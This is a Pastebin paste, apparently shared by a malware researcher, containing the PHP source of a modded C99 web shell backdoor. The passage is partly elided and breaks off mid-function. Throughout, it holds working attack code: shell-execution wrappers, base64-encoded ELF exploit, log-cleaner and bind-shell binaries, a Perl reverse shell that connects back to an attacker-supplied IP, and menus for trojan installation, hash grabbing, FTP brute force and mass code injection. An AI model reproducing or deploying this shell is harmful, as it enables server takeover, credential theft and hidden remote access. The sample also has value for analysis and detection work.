unixfreaxjp

A PHP/Backdoor drops C99Shell Sophisticated Variant!

Sep 29th, 2012
42,692
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. /******************************************************************************************
  4. * sniperxcode, a modded sniperxcode, which is a: $count=0; while($count==0){ echo ' mod of a'; }
  5. *
  6. * VERSION 2 BITCH!!!!
  7. *
  8. * By ssniperxcode - the 11-year-old hacker :)
  9. *
  10. * Greetz to all my friends in #lobby
  11. *
  12. * A big, fat "fuck you" to:
  13. * - HellBound Hackers (you're also part of the next on the list, except you can't even deface!)
  14. * - people who deface because they can't root and think they're 1337
  15. * - idiots who add mail() to their shells so they can log your ownages
  16. * - idiots who add mail() to their shells so they can log your ownages and mess up the variables so it doesn't even work!
  17. * - MPAA, RIAA, and all those other arse-hole anti-p2p organizations
  18. *
  19. * lack of money and parental freedom leaves me with no site to advertise xD
  20. *
  21. *
  22. * Newer Mods (added by me) for v2 --
  23. +--------------------------------------------------------+
  24. * fixed a bug where deleting something from a path that has a space in it would return you to an invalid dir
  25. * fixed the *nix aliases where the cmds were in the name and the names were executed :S
  26. * added md5/sha1 file checksums
  27. * removed fgdump (no need for three programs that do the same f-ing thing :P) !!! 1 mb saved !!!
  28. *
  29. *
  30. * Old Mods (added by me) for v1 --
  31. +--------------------------------------------------------+
  32. * added the trojan executer
  33. * cleaned up the interface in general
  34. * added windows login hash grabber + sam/fg/pwdump2
  35. * added mass code injector (thanks SubSyn)
  36. * added pre-compiled h00lyshit and raptor_chown
  37. * added log cleaners for both *nix and windows
  38. * removed all the shitty/non-working functions in the drop-down boxes
  39. * fixed the google kernel thing (the search variables were fuxxed up)
  40. * made the dir listing easier to read with the alternating bgcolors
  41. * little optimizations in code here and there (i'm an optimization whore tbh)
  42. * submit md5/sha1 hash to cracking sites
  43. * made that awesome logo ;)
  44. * added the disabled php functions thing (took from r57shell)
  45. * added better windows/*nix-specific aliases
  46. * cleaned up the safe-mode bypass functions (wow, some of the shittiest code i've ever seen o_O )
  47. * wordlist md5/sha1 cracker
  48. *
  49. * What I Plan to Do Next --
  50. +--------------------------------------------------------+
  51. * smaller size (somehow) :S
  52. * more sploits
  53. * allow input for dir to unpack exploits to
  54. * better trojans/backdoors
  55. * more functions/aliases
  56. * maybe move stuff around/change theme
  57. * make the php picture in the dir listing white for easier readability
  58. * take a first look at the sql section o.O
  59. * remove:
  60. * - more of those stupid spaces after every line
  61. * - more " and change them to ' for faster execution
  62. * - a bunch of other stupid code things (example: echo("$msg"); (wtf... :S))
  63. *********************************************************/
  64.  
  65. //milw0rm search
  66. $Lversion = php_uname(r);
  67. $OSV = php_uname(s);
  68. if(eregi('Linux',$OSV))
  69. {
  70. $Lversion=substr($Lversion,0,6);
  71. $millink="http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
  72. }else{
  73. $Lversion=substr($Lversion,0,3);
  74. $millink="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
  75. }
  76. //End of milw0rm search
  77.  
  78.  
  79. //w4ck1ng Shell
  80. if (!function_exists('myshellexec'))
  81. {
  82. if(is_callable("popen")){
  83. function myshellexec($command) {
  84. if (!($p=popen("($command)2>&1","r"))) {
  85. return 126;
  86. }
  87. while (!feof($p)) {
  88. $line=fgets($p,1000);
  89. $out .= $line;
  90. }
  91. pclose($p);
  92. return $out;
  93. }
  94. }else{
  95. function myshellexec($cmd)
  96. {
  97. global $disablefunc;
  98. $result = '';
  99. if (!empty($cmd))
  100. {
  101. if (is_callable('exec') and !in_array('exec',$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  102. elseif (($result = `$cmd`) !== FALSE) {}
  103. elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  104. elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  105. elseif (is_resource($fp = popen($cmd,"r")))
  106. {
  107. $result = '';
  108. while(!feof($fp)) {$result .= fread($fp,1024);}
  109. pclose($fp);
  110. }
  111. }
  112. return $result;
  113. }
  114. }
  115.  
  116. // Password dumping!!!!↓↓
  117. }
  118.  
  119. $pwdump2="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  120. AAAA0AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
  121. ZGUuDQ0KJAAAAAAAAABe6Dg9GolWbhqJVm4aiVZu8pZdbhuJVm6ZlVhuF4lWbkOqRW4fiVZuGolX
  122. biGJVm7lqVxuG4lWbvKWXG4qiVZuUmljaBqJVm4AAAAAAAAAAFBFAABMAQMA7bzbOAAAAAAAAAAA
  123. 4AAPAQsBBgAAUAAAAEAAAAAAAABHHAAAABAAAABgAAAAAEAAABAAAAAQAAAEAAAAAAAAAAQAAAAA
  124. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  125. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  126. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  127. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  128. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  129. AA==";
  130.  
  131.  
  132. // Hack hack the c libs in ur box...
  133.  
  134. $miglc="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAIIgECDQAAAA0XAAAAAAAADQAIAAGACgAHgAbAAYAAAA0
  135. AAAANIAECDSABAjAAAAAwAAAAAUAAAAEAAAAAwAAAPQAAAD0gAQI9IAECBMAAAATAAAABAAAAAEA
  136. AAABAAAAAAAAAACABAgAgAQI4DYAAOA2AAAFAAAAABAAAAEAAADgNgAA4MYECODGBAh0AQAAmAEA
  137. :
  138. :
  139. :
  140. cmF5X3N0YXJ0AF9JT19zdGRpbl91c2VkAGtpbGxfd3RtcABfX2RhdGFfc3RhcnQAX0p2X1JlZ2lz
  141. dGVyQ2xhc3NlcwBfX3ByZWluaXRfYXJyYXlfc3RhcnQAcmVhZEBAR0xJQkNfMi4wAGtpbGxfbGFz
  142. dGxvZwBfX2dtb25fc3RhcnRfXwA=";
  143.  
  144. $blackhole="f0VMRgEBAQkAAAAAAAAAAAIAAwABAAAARIYECDQAAACgDQAAAAAAADQAIAAGACgAGAAVAAYAAAA0
  145. AAAANIAECDSABAjAAAAAwAAAAAUAAAAEAAAAAwAAAPQAAAD0gAQI9IAECBkAAAAZAAAABAAAAAEA
  146. AAABAAAAAAAAAACABAgAgAQIAAsAAAALAAAFAAAAABAAAAEAAAAACwAAAJsECACbBAgEAQAAIAEA
  147. :
  148. :
  149.  
  150. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  151. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  152. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  153. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJFRU
  154. Wdfb08/q3OiZ0eXTbpynnqlyfKdzc3NiXaFemV+lYJ1tYVdh1OXK1tbYm9vo02Hp8MnR0+SWzNnY
  155. ZVtSoFJcTlRPp5avqVzj4NrWosfQ1VBaUFrzrZi+wZ2ooauorLiWqJK8rLazkrimo5mVmJq3rquX
  156. tKahmaip8li6s8aGztfv2s7TzFysw7iMwNPh3NrL2FQ=";
  157.  
  158. $raptorchown="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIQECDQAAACYCgAAAAAAADQAIAAHACgAGwAYAAYAAAA0
  159. AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEA
  160. AAABAAAAAAAAAACABAgAgAQIAAgAAAAIAAAFAAAAABAAAAEAAAAACAAAAJgECACYBAggAQAAKAEA
  161. :
  162. bml0AF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRf
  163. YXJyYXlfZW5kAHN0cmNhdEBAR0xJQkNfMi4wAGRhdGFfc3RhcnQAcHJpbnRmQEBHTElCQ18yLjAA
  164. X2ZpbmkAbWVtY3B5QEBHTElCQ18yLjAAZXJyb3IAX19wcmVpbml0X2FycmF5X2VuZABfX2V4Y29k
  165. ZQBvcGVuQEBHTElCQ18yLjAAZXhpdEBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9U
  166. QUJMRV8AX2VuZABnZXRjd2RAQEdMSUJDXzIuMABtZW1zZXRAQEdMSUJDXzIuMABfX2V4Y29kZV9l
  167. AF9faW5pdF9hcnJheV9zdGFydABfX2ZzdGF0AF9JT19zdGRpbl91c2VkAG1hZHZpc2VAQEdMSUJD
  168. XzIuMABzcHJpbnRmQEBHTElCQ18yLjAAX19kYXRhX3N0YXJ0AF9Kdl9SZWdpc3RlckNsYXNzZXMA
  169. ZXhwbG9pdABfX3ByZWluaXRfYXJyYXlfc3RhcnQAX19nbW9uX3N0YXJ0X18A";
  170.  
  171.  
  172. // BACKDOOORZZ!!! LULZ!!! yeah.
  173.  
  174.  
  175. $back_connect_c="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAA
  176. :
  177. :
  178. hcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
  179.  
  180. function checkproxyhost(){
  181. $host = getenv("HTTP_HOST");
  182. $filename = '/tmp/.setan/xh';
  183. if (file_exists($filename)) {
  184. $_POST['proxyhostmsg']="</br></br><center><font color=green size=3><b>Success!</b></font></br></br><a href=$host:6543>$host:6543</a></br></br><b>Note:</b> If '$host' have a good firewall or IDS installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy.</br></br></center>";
  185. } else {
  186. $_POST['proxyhostmsg']="</br></br><center><font color=red size=3><b>Failed!</b></font></br></br><b>Note:</b> If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail.</br></br></center>";
  187. }
  188. }
  189.  
  190. if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd"))
  191. {
  192. $ip = gethostbyname($_SERVER["HTTP_HOST"]);
  193. $por = $_POST['backconnectport'];
  194. if(is_writable(".")){
  195. cfb("shbd",$backdoor);
  196. ex("chmod 777 shbd");
  197. $cmd = "./shbd $por";
  198. exec("$cmd > /dev/null &");
  199. $scan = myshellexec("ps aux");
  200. if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); }
  201. $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data";
  202. }else{
  203. cfb("/tmp/shbd",$backdoor);
  204. ex("chmod 777 /tmp/shbd");
  205. $cmd = "./tmp/shbd $por";
  206. exec("$cmd > /dev/null &");
  207. $scan = myshellexec("ps aux");
  208. if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); }
  209. $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data";
  210. }
  211. }
  212.  
  213. if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl"))
  214. {
  215. if(is_writable(".")){
  216. cf("back",$back_connect);
  217. $p2=which("perl");
  218. $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  219. $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
  220. if (file_exists("back")) { unlink("back"); }
  221. }else{
  222. cf("/tmp/back",$back_connect);
  223. $p2=which("perl");
  224. $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  225. $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
  226. if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
  227. }
  228. }
  229.  
  230. if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C"))
  231. {
  232. if(is_writable(".")){
  233. cf("backc",$back_connect_c);
  234. ex("chmod 777 backc");
  235. //$blah = ex("gcc back.c -o backc");
  236. $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  237. $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
  238. //if (file_exists("back.c")) { unlink("back.c"); }
  239. if (file_exists("backc")) { unlink("backc"); }
  240. }else{
  241. ex("chmod 777 /tmp/backc");
  242. cf("/tmp/backc",$back_connect_c);
  243. //$blah = ex("gcc -o /tmp/backc /tmp/back.c");
  244. $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  245. $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
  246. //if (file_exists("back.c")) { unlink("back.c"); }
  247. if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } }
  248. }
  249.  
  250. function cf($fname,$text)
  251. {
  252. $w_file=@fopen($fname,"w") or err();
  253. if($w_file)
  254. {
  255. @fputs($w_file,@base64_decode($text));
  256. @fclose($w_file);
  257. }
  258. }
  259.  
  260. function cfb($fname,$text)
  261. {
  262. $w_file=@fopen($fname,"w") or bberr();
  263. if($w_file)
  264. {
  265. @fputs($w_file,@base64_decode($text));
  266. @fclose($w_file);
  267. }
  268. }
  269.  
  270. function err()
  271. {
  272. $_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't connect!</b>";
  273. }
  274.  
  275. function bberr()
  276. {
  277. $_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>";
  278. }
  279.  
  280. function which($pr)
  281. {
  282. $path = ex("which $pr");
  283. if(!empty($path)) { return $path; } else { return $pr; }
  284. }
  285. function ex($cfe)
  286. {
  287. $res = '';
  288. if (!empty($cfe))
  289. {
  290. if(function_exists('exec'))
  291. {
  292. @exec($cfe,$res);
  293. $res = join("\n",$res);
  294. }
  295. elseif(function_exists('shell_exec'))
  296. {
  297. $res = @shell_exec($cfe);
  298. }
  299. elseif(function_exists('system'))
  300. {
  301. @ob_start();
  302. @system($cfe);
  303. $res = @ob_get_contents();
  304. @ob_end_clean();
  305. }
  306. elseif(function_exists('passthru'))
  307. {
  308. @ob_start();
  309. @passthru($cfe);
  310. $res = @ob_get_contents();
  311. @ob_end_clean();
  312. }
  313. elseif(@is_resource($f = @popen($cfe,"r")))
  314. {
  315. $res = "";
  316. while(!@feof($f)) { $res .= @fread($f,1024); }
  317. @pclose($f);
  318. }
  319. }
  320. return $res;
  321. }
  322. //EoW
  323.  
  324.  
  325.  
  326.  
  327.  
  328.  
  329.  
  330.  
  331.  
  332.  
  333.  
  334.  
  335.  
  336.  
  337.  
  338.  
  339. //Start Enumerate function
  340. //function ENUMERATE()
  341.  
  342. // $hostname_x=php_uname(n);
  343. // $itshome = getcwd();
  344. // $itshome = str_replace("/home/","~",$itshome);
  345. // $itshome = str_replace("/public_html","/x2300.php",$itshome);
  346. // $enumerate = "http://".$hostname_x."/".$itshome."";
  347.  
  348. //End Enumerate function
  349.  
  350. //Starting calls
  351. ini_set("max_execution_time",0);
  352. if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
  353. error_reporting(5);
  354. $adires="";
  355. @ignore_user_abort(TRUE);
  356. @set_magic_quotes_runtime(0);
  357. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  358. define("starttime",getmicrotime());
  359. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  360. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  361. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  362.  
  363. $shver = "1.3.37"; //Current version
  364. //CONFIGURATION AND SETTINGS
  365. if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
  366. elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
  367. else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
  368. }
  369.  
  370. $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
  371.  
  372. if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  373. if (empty($surl))
  374. {
  375. $surl = "?".$includestr; //Self url
  376. }
  377. $surl = htmlspecialchars($surl);
  378.  
  379. $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
  380.  
  381. //Authentication
  382. $login = ""; //login
  383. //DON'T FORGOT ABOUT PASSWORD!!!
  384. $pass = ""; //password
  385. $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
  386.  
  387. $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
  388. $login_txt = "Restricted area"; //http-auth message.
  389. $accessdeniedmess = "sniperxcode v.".$shver.": access denied";
  390.  
  391. $gzipencode = TRUE; //Encode with gzip?
  392.  
  393. $updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
  394.  
  395. $c99sh_updateurl = "http://sniperxcode.com/files/lshell_update/"; //Update server
  396. $c99sh_sourcesurl = "http://sniperxcode.com/"; //Sources-server
  397.  
  398. $filestealth = TRUE; //if TRUE, don't change modify- and access-time
  399.  
  400. $donated_html = "<center><b>sniperxcode modded by ssniperxcode</b></center>";
  401. /* If you publish free shell and you wish
  402. add link to your site or any other information,
  403. put here your html. */
  404. $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
  405.  
  406. $curdir = "./"; //start folder
  407. //$curdir = getenv("DOCUMENT_ROOT");
  408. $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
  409. $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
  410.  
  411. $log_email = "user@host.tld"; //Default e-mail for sending logs
  412.  
  413. $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
  414. $sort_save = TRUE; //If TRUE then save sorting-position using cookies.
  415.  
  416. // Registered file-types.
  417. // array(
  418. // "{action1}"=>array("ext1","ext2","ext3",...),
  419. // "{action2}"=>array("ext4","ext5","ext6",...),
  420. // ...
  421. // )
  422. $ftypes = array(
  423. 'html'=>array('html','htm','shtml'),
  424. 'txt'=>array('txt','conf','bat','sh','js','bak','doc','log','sfc','cfg','htaccess','passwd','shadow'),
  425. 'exe'=>array('sh','install','bat','cmd'),
  426. 'ini'=>array('ini','inf'),
  427. 'code'=>array('php','phtml','php3','php4','inc','tcl','h','c','cpp','py','cgi','pl'),
  428. 'img'=>array('gif','png','jpeg','jfif','jpg','jpe','bmp','ico','tif','tiff','avi','mpg','mpeg'),
  429. 'sdb'=>array('sdb'),
  430. 'phpsess'=>array('sess'),
  431. 'download'=>array('exe','com','pif','src','lnk','zip','rar','gz','tar')
  432. );
  433.  
  434. // Registered executable file-types.
  435. // array(
  436. // string "command{i}"=>array("ext1","ext2","ext3",...),
  437. // ...
  438. // )
  439. // {command}: %f% = filename
  440. $dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin);
  441. if (empty($dizin)) {$dizin = realpath(".");} elseif(realpath($dizin)) {$dizin = realpath($dizin);}
  442. $dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin);
  443. if (substr($dizin,-1) != DIRECTORY_SEPARATOR) {$dizin .= DIRECTORY_SEPARATOR;}
  444. $dizin = str_replace("\\\\","\\",$dizin);
  445. $dizinispd = htmlspecialchars($dizin);
  446. /*dizin*/
  447. $real = realpath($dizinispd);
  448. $path = basename ($PHP_SELF);
  449. function dosyayicek($link,$file)
  450. {
  451. $fp = @fopen($link,'r');
  452. while(!feof($fp))
  453. {
  454. $cont.= fread($fp,1024);
  455. }
  456. fclose($fp);
  457.  
  458. $fp2 = @fopen($file,"w");
  459. fwrite($fp2,$cont);
  460. fclose($fp2);
  461. }
  462.  
  463.  
  464.  
  465.  
  466. $exeftypes = array(
  467. getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  468. "perl %f%" => array("pl","cgi")
  469. );
  470.  
  471. /* Highlighted files.
  472. array(
  473. i=>array({regexp},{type},{opentag},{closetag},{break})
  474. ...
  475. string {regexp} - regular exp.
  476. int {type}:
  477. 0 - files and folders (as default),
  478. 1 - files only, 2 - folders only
  479. string {opentag} - open html-tag, e.g. "<b>" (default)
  480. string {closetag} - close html-tag, e.g. "</b>" (default)
  481. bool {break} - if TRUE and found match then break
  482. */
  483. $regxp_highlight = array(
  484. array(basename($_SERVER["PHP_SELF"]),1,'<font color=red>','</font>'), // example
  485. array("config.php",1), // example
  486. array("settings.php",1),
  487. array("connect.php",1)
  488. );
  489.  
  490. $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
  491. // array (i=>{letter} ...); string {letter} - letter of a drive
  492. //$safemode_diskettes = range('a','z');
  493. $hexdump_lines = 8;// lines in hex preview file
  494. $hexdump_rows = 24;// 16, 24 or 32 bytes in one line
  495.  
  496. $nixpwdperpage = 100; // Get first N lines from /etc/passwd
  497.  
  498. $bindport_pass = 'c99'; // default password for binding
  499. $bindport_port = '31373'; // default port for binding
  500. $bc_port = '5992'; // default port for back-connect
  501. $datapipe_localport = '8081'; // default port for datapipe
  502. $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
  503. aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
  504. hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
  505. sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
  506. kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
  507. KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
  508. OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  509.  
  510. $sess_cookie = "c99shvars"; // Cookie-variable name
  511.  
  512. $usefsbuff = TRUE; //Buffer-function
  513. $copy_unset = FALSE; //Remove copied files from buffer after pasting
  514.  
  515. //Quick launch
  516. $quicklaunch = array(
  517. array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
  518. array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
  519. array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
  520. array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  521. array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
  522. array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
  523. array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
  524. array("<br><br><center><b>[String/Hash Tools]</b>",$surl."act=encoder&d=%d"),
  525. array("<b>[Tools]</b>",$surl."act=tools&d=%d"),
  526. array("<b>[Processes]</b>",$surl."act=processes&d=%d"),
  527. array("<b>[FTP Brute Force]</b>",$surl."act=ftpquickbrute&d=%d"),
  528. array("<b>[System Information]</b>",$surl."act=security&d=%d"),
  529. array("<b>[SQL Shell]</b>",$surl."act=sql&d=%d"),
  530. array("<b>[Kernel Exploit Search]</b>",$millink),
  531. array("<b>[Execute PHP Code]</b>",$surl."act=eval&d=%d"),
  532. array("<b>[PHP Info]</b></center>",$surl."act=phpinfo&d=%d")
  533. );
  534. $quicklaunch2 = array(
  535. array("<b><center>[Install Trojan/Backdoor]</b>",$surl.'act=trojan'),
  536. array("<b>[Bind Shell Backdoor]</b>",$surl.'act=shbd'),
  537. array("<b>[Back-Connection]</b>",$surl.'act=backc'),
  538. array("<b>[Mass Code Injection]</b>",$surl.'act=massbrowsersploit'),
  539. array("<b>[Exploits]</b>",$surl.'act=exploits'),
  540. array("<b>[Grab Login Hashes]</b>",$surl.'act=grablogins'),
  541. array("<b>[Suicide Script]</b></center>",$surl.'act=selfremove')
  542. );
  543.  
  544. //Highlight-code colors
  545. $highlight_background = "#c0c0c0";
  546. $highlight_bg = "#FFFFFF";
  547. $highlight_comment = "#6A6A6A";
  548. $highlight_default = "#0000BB";
  549. $highlight_html = "#1300FF";
  550. $highlight_keyword = "#007700";
  551. $highlight_string = "#000000";
  552.  
  553. @$f = $_REQUEST["f"];
  554. @extract($_REQUEST["c99shcook"]);
  555.  
  556. //END CONFIGURATION
  557.  
  558.  
  559. // \/Next code isn't for editing\/
  560. /*function ex($cfe)
  561. {
  562. $res = '';
  563. if (!empty($cfe))
  564. {
  565. if(function_exists('exec'))
  566. {
  567. @exec($cfe,$res);
  568. $res = join("\n",$res);
  569. }
  570. elseif(function_exists('shell_exec'))
  571. {
  572. $res = @shell_exec($cfe);
  573. }
  574. elseif(function_exists('system'))
  575. {
  576. @ob_start();
  577. @system($cfe);
  578. $res = @ob_get_contents();
  579. @ob_end_clean();
  580. }
  581. elseif(function_exists('passthru'))
  582. {
  583. @ob_start();
  584. @passthru($cfe);
  585. $res = @ob_get_contents();
  586. @ob_end_clean();
  587. }
  588. elseif(@is_resource($f = @popen($cfe,"r")))
  589. {
  590. $res = "";
  591. while(!@feof($f)) { $res .= @fread($f,1024); }
  592. @pclose($f);
  593. }
  594. }
  595. return $res;
  596. }*/
  597. /*function which($pr)
  598. {
  599. $path = ex("which $pr");
  600. if(!empty($path)) { return $path; } else { return $pr; }
  601. }
  602.  
  603. function cf($fname,$text)
  604. {
  605. $w_file=@fopen($fname,"w") or err(0);
  606. if($w_file)
  607. {
